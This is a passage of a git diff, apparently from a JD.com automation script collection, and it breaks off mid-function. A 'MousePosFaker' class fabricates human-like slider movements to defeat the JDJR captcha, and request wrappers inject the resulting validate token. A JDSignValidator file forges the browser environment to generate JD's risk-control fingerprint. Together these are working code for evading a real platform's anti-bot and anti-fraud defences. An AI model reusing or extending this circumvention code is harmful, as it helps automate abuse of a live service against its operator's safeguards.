+const HZ = 5; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +// new JDJRValidator().run(); +// new JDJRValidator().report(1000); +// console.log(getCoordinate(new MousePosFaker(100).run())); + +function injectToRequest2(fn, scene = 'cww') { + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + try { + if (err) { + console.error('验证请求失败.'); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + if (res) { + opts.url += `&validate=${res.validate}`; + } + fn(opts, cb); + } else { + cb(err, resp, data); + } + } catch (e) { + console.info(e) + } + }); + }; +} + +async function injectToRequest(scene = 'cww') { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + return `&validate=${res.validate}` +} + +module.exports = { + sleep, + injectToRequest, + injectToRequest2 +} diff --git a/utils/JDSignValidator.js b/utils/JDSignValidator.js new file mode 100644 index 0000000..a427a61 --- /dev/null +++ b/utils/JDSignValidator.js @@ -0,0 +1,2080 @@ +const UA = require('../USER_AGENTS.js').USER_AGENT; + +const navigator = { + userAgent: UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1" + .split(";"), + function (a) { + try { + return new ActiveXObject(a), a + } catch (b) { + return null + } + }).join(";") : "" + }, + hasSessionStorage: function () { + try { + return !!window.sessionStorage + } catch (a) { + return !0 + } + }, + hasLocalStorage: function () { + try { + return !!window.localStorage + } catch (a) { + return !0 + } + }, + hasIndexedDB: function () { + return true + return !!window.indexedDB + }, + getNavigatorCpuClass: function () { + return navigator.cpuClass ? navigator.cpuClass : "NA" + }, + getNavigatorPlatform: function () { + return navigator.platform ? navigator.platform : "NA" + }, + getHardwareConcurrency: function () { + return navigator.hardwareConcurrency ? navigator.hardwareConcurrency : "NA" + }, + getDoNotTrack: function () { + return navigator.doNotTrack ? navigator.doNotTrack : "NA" + }, + getCanvasFp: function () { + return ''; + var a = navigator.userAgent.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = document.createElement("canvas"); + var b = a.getContext("2d"); + b.fillStyle = "red"; + b.fillRect(30, 10, 200, 100); + b.strokeStyle = "#1a3bc1"; + b.lineWidth = 6; + b.lineCap = "round"; + b.arc(50, 50, 20, 0, Math.PI, !1); + b.stroke(); + b.fillStyle = "#42e1a2"; + b.font = "15.4px 'Arial'"; + b.textBaseline = "alphabetic"; + b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); + b.shadowOffsetX = 1; + b.shadowOffsetY = 2; + b.shadowColor = "white"; + b.fillStyle = "rgba(0, 0, 200, 0.5)"; + b.font = "60px 'Not a real font'"; + b.fillText("No\u9a97", 40, 80); + return a.toDataURL() + }, + getWebglFp: function () { + var a = navigator.userAgent; + a = a.toLowerCase(); + if ((0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && (0 < a.indexOf("iphone") || 0 < a + .indexOf("ipad"))) return null; + a = function (D) { + b.clearColor(0, 0, 0, 1); + b.enable(b.DEPTH_TEST); + b.depthFunc(b.LEQUAL); + b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); + return "[" + D[0] + ", " + D[1] + "]" + }; + var b = this.getWebglCanvas(); + if (!b) return null; + var c = [], + l = b.createBuffer(); + b.bindBuffer(b.ARRAY_BUFFER, l); + var h = new Float32Array([-.2, -.9, 0, .4, -.26, 0, 0, .732134444, 0]); + b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); + l.itemSize = 3; + l.numItems = 3; + h = b.createProgram(); + var q = b.createShader(b.VERTEX_SHADER); + b.shaderSource(q, + "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" + ); + b.compileShader(q); + var z = b.createShader(b.FRAGMENT_SHADER); + b.shaderSource(z, + "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" + ); + b.compileShader(z); + b.attachShader(h, q); + b.attachShader(h, z); + b.linkProgram(h); + b.useProgram(h); + h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); + h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); + b.enableVertexAttribArray(h.vertexPosArray); + b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); + b.uniform2f(h.offsetUniform, 1, 1); + b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); + null != b.canvas && c.push(b.canvas.toDataURL()); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("extensions:" + b.getSupportedExtensions().join(";")); + c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); + c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); + c.push("w3" + b.getParameter(b.ALPHA_BITS)); + c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); + c.push("w5" + b.getParameter(b.BLUE_BITS)); + c.push("w6" + b.getParameter(b.DEPTH_BITS)); + c.push("w7" + b.getParameter(b.GREEN_BITS)); + c.push("w8" + function (D) { + var B, F = D.getExtension("EXT_texture_filter_anisotropic") || D.getExtension( + "WEBKIT_EXT_texture_filter_anisotropic") || D.getExtension( + "MOZ_EXT_texture_filter_anisotropic"); + return F ? (B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) 